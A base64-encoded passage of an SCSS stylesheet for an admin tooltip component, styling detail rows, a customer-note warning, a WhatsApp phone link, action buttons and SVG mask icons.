UzRSUzQy9zdmclM0VcIik7XG4gICAgICAgICAgfVxuICAgICAgICAgICYuc2xuLWljb24tLXBob25lIHtcbiAgICAgICAgICAgIC13ZWJraXQtbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB2aWV3Qm94PScwIDAgMjQgMjQnIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J00zIDVDMyAzLjg5NTQzIDMuODk1NDMgMyA1IDNIOC4yNzkyNEM4LjcwOTY3IDMgOS4wOTE4MSAzLjI3NTQzIDkuMjI3OTIgMy42ODM3N0wxMC43MjU3IDguMTc3MjFDMTAuODgzMSA4LjY0OTMyIDEwLjY2OTQgOS4xNjUzMSAxMC4yMjQzIDkuMzg3ODdMNy45NjcwMSAxMC41MTY1QzkuMDY5MjUgMTIuOTYxMiAxMS4wMzg4IDE0LjkzMDggMTMuNDgzNSAxNi4wMzNMMTQuNjEyMSAxMy43NzU3QzE0LjgzNDcgMTMuMzMwNiAxNS4zNTA3IDEzLjExNjkgMTUuODIyOCAxMy4yNzQzTDIwLjMxNjIgMTQuNzcyMUMyMC43MjQ2IDE0LjkwODIgMjEgMTUuMjkwMyAyMSAxNS43MjA4VjE5QzIxIDIwLjEwNDYgMjAuMTA0NiAyMSAxOSAyMUgxOEM5LjcxNTczIDIxIDMgMTQuMjg0MyAzIDZWNVonIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMicgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0Mvc3ZnJTNFXCIpO1xuICAgICAgICAgICAgbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB2aWV3Qm94PScwIDAgMjQgMjQnIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J00zIDVDMyAzLjg5NTQzIDMuODk1NDMgMyA1IDNIOC4yNzkyNEM4LjcwOTY3IDMgOS4wOTE4MSAzLjI3NTQzIDkuMjI3OTIgMy42ODM3N0wxMC43MjU3IDguMTc3MjFDMTAuODgzMSA4LjY0OTMyIDEwLjY2OTQgOS4xNjUzMSAxMC4yMjQzIDkuMzg3ODdMNy45NjcwMSAxMC41MTY1QzkuMDY5MjUgMTIuOTYxMiAxMS4wMzg4IDE0LjkzMDggMTMuNDgzNSAxNi4wMzNMMTQuNjEyMSAxMy43NzU3QzE0LjgzNDcgMTMuMzMwNiAxNS4zNTA3IDEzLjExNjkgMTUuODIyOCAxMy4yNzQzTDIwLjMxNjIgMTQuNzcyMUMyMC43MjQ2IDE0LjkwODIgMjEgMTUuMjkwMyAyMSAxNS43MjA4VjE5QzIxIDIwLjEwNDYgMjAuMTA0NiAyMSAxOSAyMUgxOEM5LjcxNTczIDIxIDMgMTQuMjg0MyAzIDZWNVonIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMicgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0Mvc3ZnJTNFXCIpO1xuICAgICAgICAgIH1cbiAgICAgICAgICAmLnNsbi1pY29uLS1lbnZlbG9wZSB7XG4gICAgICAgICAgICAtd2Via2l0LW1hc2staW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgdmlld0JveD0nMCAwIDI0IDI0JyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDcGF0aCBkPSdNMyA4TDEwLjg5MDYgMTMuMjYwNEMxMS41NjI0IDEzLjcwODMgMTIuNDM3NiAxMy43MDgzIDEzLjEwOTQgMTMuMjYwNEwyMSA4TTUgMTlIMTlDMjAuMTA0NiAxOSAyMSAxOC4xMDQ2IDIxIDE3VjdDMjEgNS44OTU0MyAyMC4xMDQ2IDUgMTkgNUg1QzMuODk1NDMgNSAzIDUuODk1NDMgMyA3VjE3QzMgMTguMTA0NiAzLjg5NTQzIDE5IDUgMTlaJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzInIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRVwiKTtcbiAgICAgICAgICAgIG1hc2staW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgdmlld0JveD0nMCAwIDI0IDI0JyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDcGF0aCBkPSdNMyA4TDEwLjg5MDYgMTMuMjYwNEMxMS41NjI0IDEzLjcwODMgMTIuNDM3NiAxMy43MDgzIDEzLjEwOTQgMTMuMjYwNEwyMSA4TTUgMTlIMTlDMjAuMTA0NiAxOSAyMSAxOC4xMDQ2IDIxIDE3VjdDMjEgNS44OTU0MyAyMC4xMDQ2IDUgMTkgNUg1QzMuODk1NDMgNSAzIDUuODk1NDMgMyA3VjE3QzMgMTguMTA0NiAzLjg5NTQzIDE5IDUgMTlaJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzInIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRVwiKTtcbiAgICAgICAgICB9XG4gICAgICAgICAgJi5zbG4taWNvbi0tYXJyb3ctbGVmdC1mcm9tLWJyYWNrZXQge1xuICAgICAgICAgICAgLXdlYmtpdC1tYXNrLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHZpZXdCb3g9JzAgMCAyNCAyNCcgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZD0nTTkgM0g1QzMuODk1NDMgMyAzIDMuODk1NDMgMyA1VjE5QzMgMjAuMTA0NiAzLjg5NTQzIDIxIDUgMjFIOU0xNSA5TDExIDEzTTExIDEzTDE1IDE3TTExIDEzSDIxJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzInIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRVwiKTtcbiAgICAgICAgICAgIG1hc2staW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgdmlld0JveD0nMCAwIDI0IDI0JyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDcGF0aCBkPSdNOSAzSDVDMy44OTU0MyAzIDMgMy44OTU0MyAzIDVWMTlDMyAyMC4xMDQ2IDMuODk1NDMgMjEgNSAyMUg5TTE1IDlMMTEgMTNNMTEgMTNMMTUgMTdNMTEgMTNIMjEnIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMicgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0Mvc3ZnJTNFXCIpO1xuICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgICAmLnNsbi10b29sdGlwLWRldGFpbC0taWQtc3RhdHVzIHtcbiAgICAgIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjtcbiAgICAgIC5zbG4tdG9vbHRpcC12YWx1ZSB7XG4gICAgICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgIGdhcDogMC41cmVtO1xuICAgICAgfVxuICAgIH1cbiAgICAmLnNsbi10b29sdGlwLWRldGFpbC0tY3VzdG9tZXItbm90ZSB7XG4gICAgICBwYWRkaW5nLXRvcDogMXJlbTtcbiAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfdXRpbHMtLXdhcm5pbmc7XG4gICAgICAuc2xuLXRvb2x0aXAtbGFiZWwsXG4gICAgICAuc2xuLXRvb2x0aXAtdmFsdWUge1xuICAgICAgICBjb2xvcjogY3VycmVudENvbG9yO1xuICAgICAgfVxuICAgICAgLnNsbi10b29sdGlwLXZhbHVlIHtcbiAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgICBwYWRkaW5nOiAwIDFlbTtcbiAgICAgICAgJjo6YmVmb3JlLCAmOjphZnRlciB7XG4gICAgICAgICAgZm9udC13ZWlnaHQ6IDkwMDtcbiAgICAgICAgfVxuICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgIGNvbnRlbnQ6ICfigJwnO1xuICAgICAgICB9XG4gICAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgICBjb250ZW50OiAn4oCdJztcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgJjo6YmVmb3JlIHtcbiAgICAgICAgY29udGVudDogJyc7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICB3aWR0aDogMS41cmVtO1xuICAgICAgICBoZWlnaHQ6IDEuNXJlbTtcbiAgICAgICAgbWluLXdpZHRoOiAxLjVyZW07IC8vIFByZXZlbnQgZmxleCBzaHJpbmtpbmdcbiAgICAgICAgZmxleC1zaHJpbms6IDA7IC8vIFByZXZlbnQgZmxleCBzaHJpbmtpbmdcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogY3VycmVudENvbG9yO1xuICAgICAgICBtYXNrLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHZpZXdCb3g9JzAgMCAyMyAyMycgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZD0nTTExLjQ5OTkgNy4zMzMwMVYxMS40OTk3TTExLjQ5OTkgMTUuNjY2M0gxMS41MTAzTTIxLjkxNjYgMTEuNDk5N0MyMS45MTY2IDE3LjI1MjYgMTcuMjUyOSAyMS45MTYzIDExLjQ5OTkgMjEuOTE2M0M1Ljc0Njk1IDIxLjkxNjMgMS4wODMyNSAxNy4yNTI2IDEuMDgzMjUgMTEuNDk5N0MxLjA4MzI1IDUuNzQ2NzEgNS43NDY5NSAxLjA4MzAxIDExLjQ5OTkgMS4wODMwMUMxNy4yNTI5IDEuMDgzMDEgMjEuOTE2NiA1Ljc0NjcxIDIxLjkxNjYgMTEuNDk5N1onIGZpbGw9J25vbmUnIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMicgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0Mvc3ZnJTNFXCIpO1xuICAgICAgICBtYXNrLXNpemU6IGNvbnRhaW47XG4gICAgICAgIG1hc2stcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICB9XG4gICAgfVxuICAgICYuc2xuLXRvb2x0aXAtZGV0YWlsLS1zaG9wIHtcbiAgICAgIC5zbG4tdG9vbHRpcC12YWx1ZSB7XG4gICAgICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgICAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgICAgICB0ZXh0LW92ZXJmbG93OiBlbGxpcHNpcztcbiAgICAgICAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgICAgIH1cbiAgICB9XG4gICAgLy8gQWxsb3cgbXVsdGktbGluZSBkaXNwbGF5IGZvciBjaGFubmVsIChvcmlnaW4gKyBlZGl0IGluZm8pXG4gICAgJi5zbG4tdG9vbHRpcC1kZXRhaWwtLWNoYW5uZWwge1xuICAgICAgLnNsbi10b29sdGlwLXZhbHVlIHtcbiAgICAgICAgZGlzcGxheTogYmxvY2s7IC8vIE92ZXJyaWRlIGZsZXggdG8gYWxsb3cgbGluZSBicmVha3NcbiAgICAgICAgbGluZS1oZWlnaHQ6IDEuNDtcbiAgICAgIH1cbiAgICB9XG4gICAgLy8gUGhvbmUgZGV0YWlsIHdpdGggV2hhdHNBcHAgbGlua1xuICAgICYuc2xuLXRvb2x0aXAtZGV0YWlsLS1waG9uZSB7XG4gICAgICAuc2xuLXRvb2x0aXAtd2hhdHNhcHAtbGluayB7XG4gICAgICAgIGRpc3BsYXk6IGlubGluZS1mbGV4O1xuICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgICAgICAgd2lkdGg6IDEuNXJlbTtcbiAgICAgICAgaGVpZ2h0OiAxLjVyZW07XG4gICAgICAgIG1hcmdpbi1sZWZ0OiAwLjVyZW07XG4gICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTtcbiAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuMnMgZWFzZTtcbiAgICAgICAgY29sb3I6ICMyNUQzNjY7IC8vIFdoYXRzQXBwIGdyZWVuIGNvbG9yXG4gICAgICAgIFxuICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICBjb2xvcjogIzEyOEM3RTsgLy8gRGFya2VyIFdoYXRzQXBwIGdyZWVuIG9uIGhvdmVyXG4gICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjEpO1xuICAgICAgICB9XG4gICAgICAgIFxuICAgICAgICAmOjpiZWZvcmUge1xuICAgICAgICAgIGZvbnQtZmFtaWx5OiBcIkZvbnRBd2Vzb21lXCI7XG4gICAgICAgICAgZm9udC13ZWlnaHQ6IDMwMDsgLy8gQnJhbmRzIHdlaWdodFxuICAgICAgICAgIGNvbnRlbnQ6IFwiXFxmMjMyXCI7IC8vIFdoYXRzQXBwIGljb25cbiAgICAgICAgICBmb250LXNpemU6IDEuNXJlbTtcbiAgICAgICAgICBsaW5lLWhlaWdodDogMTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgfVxufVxuXG4uc2xuLXRvb2x0aXAtZGV0YWlscy0tYm90dG9tIHtcbiAgLnNsbi10b29sdGlwLWRldGFpbCB7XG4gICAgYm9yZGVyLWJvdHRvbTogMXB4IGRhc2hlZCBhZG1pbl9jb25maWcuJGNsX2RfdGV4dC0tbWFpbi0tbGlnaHQ7XG4gICAgLy8gJjpsYXN0LWNoaWxkIHtcbiAgICAvLyAgIGJvcmRlci1ib3R0b206IG5vbmU7XG4gICAgLy8gfVxuICB9XG4gIC5zbG4tdG9vbHRpcC1sYWJlbCxcbiAgLnNsbi10b29sdGlwLXZhbHVlIHtcbiAgICBmb250LXNpemU6IDAuODc1cmVtO1xuICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfdGV4dC0tbGlnaHQtLWV2aWQ7XG4gIH1cbn1cblxuLnNsbi10b29sdGlwLWRldGFpbCB7XG4gIGRpc3BsYXk6IGZsZXg7XG4gIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjtcbiAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgZ2FwOiAxLjVyZW07XG4gIHBhZGRpbmc6IDhweCAwO1xufVxuXG4uc2xuLXRvb2x0aXAtbGFiZWwsXG4uc2xuLXRvb2x0aXAtdmFsdWUge1xuICBmb250LXNpemU6IDFyZW07XG59XG5cbi5zbG4tdG9vbHRpcC1kZXRhaWwtLWR1ZSB7XG4gIC5zbG4tdG9vbHRpcC1sYWJlbCxcbiAgLnNsbi10b29sdGlwLXZhbHVlIHtcbiAgICBmb250LXNpemU6IDAuODc1cmVtO1xuICAgIGZvbnQtd2VpZ2h0OiA2MDA7XG4gIH1cbn1cbi5zbG4tdG9vbHRpcC1hY3Rpb25zIHtcbiAgZGlzcGxheTogZmxleDtcbiAgZ2FwOiAxcmVtO1xuICBmbGV4LXdyYXA6IHdyYXA7XG4gIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjtcbiAgcGFkZGluZy10b3A6IDAuMjVyZW07XG4gIC5zbG4tdG9vbHRpcC1hY3Rpb24td3JhcHBlciB7XG4gICAgZGlzcGxheTogZmxleDtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICB9XG59XG5cbi5zbG4tdG9vbHRpcC1hY3Rpb24ge1xuICBkaXNwbGF5OiBpbmxpbmUtZmxleDtcbiAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuICBib3JkZXItcmFkaXVzOiA2cHg7XG4gIGN1cnNvcjogcG9pbnRlcjtcbiAgdHJhbnNpdGlvbjogYWxsIDAuMnMgZWFzZTtcbiAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX21haW47XG4gIGZvbnQtc2l6ZTogMTRweDtcbiAgdHJhbnNmb3JtOiBzY2FsZSgxKTtcblxuICAmOmhvdmVyIHtcbiAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX21haW4tLWQxO1xuICAgIHRyYW5zZm9ybTogc2NhbGUoMS4xKTtcbiAgfVxuXG4gICY6YWN0aXZlIHtcbiAgICB0cmFuc2Zvcm06IHNjYWxlKDEpO1xuICB9XG5cbiAgJjpmb2N1cyB7XG4gICAgb3V0bGluZTogMnB4IHNvbGlkIHJnYmEoYWRtaW5fY29uZmlnLiRjbF9kX21haW4sIDAuMjUpO1xuICAgIG91dGxpbmUtb2Zmc2V0OiAycHg7XG4gIH1cblxuICAmLmFjdGl2ZSB7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF91dGlscy0tcHJvYmxlbTtcbiAgfVxuXG4gICYuc2xuLXByby1kaXNhYmxlZCB7XG4gICAgb3BhY2l0eTogMC41O1xuICAgIGN1cnNvcjogbm90LWFsbG93ZWQ7XG4gICAgcG9zaXRpb246IHJlbGF0aXZlO1xuXG4gICAgJjpob3ZlciB7XG4gICAgICBiYWNrZ3JvdW5kOiAjZmZmO1xuICAgICAgY29sb3I6ICM2Yzc1N2Q7XG4gICAgICB0cmFuc2Zvcm06IG5vbmU7XG4gICAgfVxuICB9XG5cbiAgLnNsbi1pY29uIHtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgd2lkdGg6IDIuMjVyZW07XG4gICAgaGVpZ2h0OiAyLjI1cmVtO1xuICAgIGJhY2tncm91bmQtY29sb3I6IGN1cnJlbnRDb2xvcjtcbiAgICAtd2Via2l0LW1hc2stc2l6ZTogY29udGFpbjtcbiAgICBtYXNrLXNpemU6IGNvbnRhaW47XG4gICAgLXdlYmtpdC1tYXNrLXJlcGVhdDogbm8tcmVwZWF0O1xuICAgIG1hc2stcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgLXdlYmtpdC1tYXNrLXBvc2l0aW9uOiBjZW50ZXI7XG4gICAgbWFzay1wb3NpdGlvbjogY2VudGVyO1xuICAgICYuc2xuLWljb24tLWVsbGlwc2lzIHtcbiAgICAgIG1hc2stc2l6ZTogMnJlbTtcbiAgICAgIC13ZWJraXQtbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB2aWV3Qm94PScwIDAgMzYgOCcgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZD0nTTE4IDZDMTkuMTA0NiA2IDIwIDUuMTA0NTcgMjAgNEMyMCAyLjg5NTQzIDE5LjEwNDYgMiAxOCAyQzE2Ljg5NTQgMiAxNiAyLjg5NTQzIDE2IDRDMTYgNS4xMDQ1NyAxNi44OTU0IDYgMTggNlonIHN0cm9rZT0nJTIzMjE3MUIxJyBzdHJva2Utd2lkdGg9JzQnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDcGF0aCBkPSdNMzIgNkMzMy4xMDQ2IDYgMzQgNS4xMDQ1NyAzNCA0QzM0IDIuODk1NDMgMzMuMTA0NiAyIDMyIDJDMzAuODk1NCAyIDMwIDIuODk1NDMgMzAgNEMzMCA1LjEwNDU3IDMwLjg5NTQgNiAzMiA2Wicgc3Ryb2tlPSclMjMyMTcxQjEnIHN0cm9rZS13aWR0aD0nNCcgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0NwYXRoIGQ9J000IDZDNS4xMDQ1NyA2IDYgNS4xMDQ1NyA2IDRDNiAyLjg5NTQzIDUuMTA0NTcgMiA0IDJDMi44OTU0MyAyIDIgMi44OTU0MyAyIDRDMiA1LjEwNDU3IDIuODk1NDMgNiA0IDZaJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzQnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRVwiKTtcbiAgICAgIG1hc2staW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgdmlld0JveD0nMCAwIDM2IDgnIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J00xOCA2QzE5LjEwNDYgNiAyMCA1LjEwNDU3IDIwIDRDMjAgMi44OTU0MyAxOS4xMDQ2IDIgMTggMkMxNi44OTU0IDIgMTYgMi44OTU0MyAxNiA0QzE2IDUuMTA0NTcgMTYuODk1NCA2IDE4IDZaJyBzdHJva2U9JyUyMzIxNzFCMScgc3Ryb2tlLXdpZHRoPSc0JyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQ3BhdGggZD0nTTMyIDZDMzMuMTA0NiA2IDM0IDUuMTA0NTcgMzQgNEMzNCAyLjg5NTQzIDMzLjEwNDYgMiAzMiAyQzMwLjg5NTQgMiAzMCAyLjg5NTQzIDMwIDRDMzAgNS4xMDQ1NyAzMC44OTU0IDYgMzIgNlonIHN0cm9rZT0nJTIzMjE3MUIxJyBzdHJva2Utd2lkdGg9JzQnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDcGF0aCBkPSdNNCA2QzUuMTA0NTcgNiA2IDUuMTA0NTcgNiA0QzYgMi44OTU0MyA1LjEwNDU3IDIgNCAyQzIuODk1NDMgMiAyIDIuODk1NDMgMiA0QzIgNS4xMDQ1NyAyLjg5NTQzIDYgNCA2Wicgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPSc0JyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQy9zdmclM0VcIik7XG4gICAgfVxuICAgICYuc2xuLWljb24tLW5vLXNob3cge1xuICAgICAgbWFzay1zaXplOiAxLjc1cmVtO1xuICAgICAgLXdlYmtpdC1tYXNrLWltYWdlOiB1cmwoXCJkYXRhOmltYWdlL3N2Zyt4bWwsJTNDc3ZnIHZpZXdCb3g9JzAgMCAzMiAzMicgZmlsbD0nbm9uZScgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyUzRSUzQ3BhdGggZD0nTTIzLjc3NzggMTcuMjVDMjMuNzc3OCAxNi4zODggMjQuMTA1NiAxNS41NjE0IDI0LjY4OSAxNC45NTE5QzI1LjI3MjQgMTQuMzQyNCAyNi4wNjM4IDE0IDI2Ljg4ODkgMTRDMjcuNzE0IDE0IDI4LjUwNTMgMTQuMzQyNCAyOS4wODg4IDE0Ljk1MTlDMjkuNjcyMiAxNS41NjE0IDMwIDE2LjM4OCAzMCAxNy4yNVYyMy43NU0yNi44ODg5IDI3SDUuMTExMTFDNC4yODU5OSAyNyAzLjQ5NDY3IDI2LjY1NzYgMi45MTEyMiAyNi4wNDgxQzIuMzI3NzggMjUuNDM4NiAyIDI0LjYxMiAyIDIzLjc1VjE3LjI1QzIgMTYuMzg4IDIuMzI3NzggMTUuNTYxNCAyLjkxMTIyIDE0Ljk1MTlDMy40OTQ2NyAxNC4zNDI0IDQuMjg1OTkgMTQgNS4xMTExMSAxNEM1LjkzNjIzIDE0IDYuNzI3NTUgMTQuMzQyNCA3LjMxMSAxNC45NTE5QzcuODk0NDUgMTUuNTYxNCA4LjIyMjIyIDE2LjM4OCA4LjIyMjIyIDE3LjI1VjIwLjVIMjAuNzIyNycgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPSczJyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQ3BhdGggZD0nTTUgMTRWNi41MDAwMUM0Ljk5OTQ3IDYuMDQ3NDMgNS4wNzA0NSA1LjU5NzM3IDUuMjEwNTcgNS4xNjUwMU04LjMzMyAyLjE5NTAxQzguNzgwNzQgMi4wNjQ5MiA5LjI0NjI3IDEuOTk5MiA5LjcxNDI5IDIuMDAwMDFIMjIuMjg1N0MyMy41MzYgMi4wMDAwMSAyNC43MzUxIDIuNDc0MTEgMjUuNjE5MiAzLjMxODAzQzI2LjUwMzMgNC4xNjE5NCAyNyA1LjMwNjUzIDI3IDYuNTAwMDFWMTQnIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMycgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0NwYXRoIGQ9J003IDI3VjMwJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzMnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDcGF0aCBkPSdNMjUgMjdWMzAnIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMycgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0NwYXRoIGQ9J00yIDJMMzAgMzAnIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMycgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0Mvc3ZnJTNFXCIpO1xuICAgICAgbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB2aWV3Qm94PScwIDAgMzIgMzInIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J00yMy43Nzc4IDE3LjI1QzIzLjc3NzggMTYuMzg4IDI0LjEwNTYgMTUuNTYxNCAyNC42ODkgMTQuOTUxOUMyNS4yNzI0IDE0LjM0MjQgMjYuMDYzOCAxNCAyNi44ODg5IDE0QzI3LjcxNCAxNCAyOC41MDUzIDE0LjM0MjQgMjkuMDg4OCAxNC45NTE5QzI5LjY3MjIgMTUuNTYxNCAzMCAxNi4zODggMzAgMTcuMjVWMjMuNzVNMjYuODg4OSAyN0g1LjExMTExQzQuMjg1OTkgMjcgMy40OTQ2NyAyNi42NTc2IDIuOTExMjIgMjYuMDQ4MUMyLjMyNzc4IDI1LjQzODYgMiAyNC42MTIgMiAyMy43NVYxNy4yNUMyIDE2LjM4OCAyLjMyNzc4IDE1LjU2MTQgMi45MTEyMiAxNC45NTE5QzMuNDk0NjcgMTQuMzQyNCA0LjI4NTk5IDE0IDUuMTExMTEgMTRDNS45MzYyMyAxNCA2LjcyNzU1IDE0LjM0MjQgNy4zMTEgMTQuOTUxOUM3Ljg5NDQ1IDE1LjU2MTQgOC4yMjIyMiAxNi4zODggOC4yMjIyMiAxNy4yNVYyMC41SDIwLjcyMjcnIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMycgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0NwYXRoIGQ9J001IDE0VjYuNTAwMDFDNC45OTk0NyA2LjA0NzQzIDUuMDcwNDUgNS41OTczNyA1LjIxMDU3IDUuMTY1MDFNOC4zMzMgMi4xOTUwMUM4Ljc4MDc0IDIuMDY0OTIgOS4yNDYyNyAxLjk5OTIgOS43MTQyOSAyLjAwMDAxSDIyLjI4NTdDMjMuNTM2IDIuMDAwMDEgMjQuNzM1MSAyLjQ3NDExIDI1LjYxOTIgMy4zMTgwM0MyNi41MDMzIDQuMTYxOTQgMjcgNS4zMDY1MyAyNyA2LjUwMDAxVjE0JyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzMnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDcGF0aCBkPSdNNyAyN1YzMCcgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPSczJyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQ3BhdG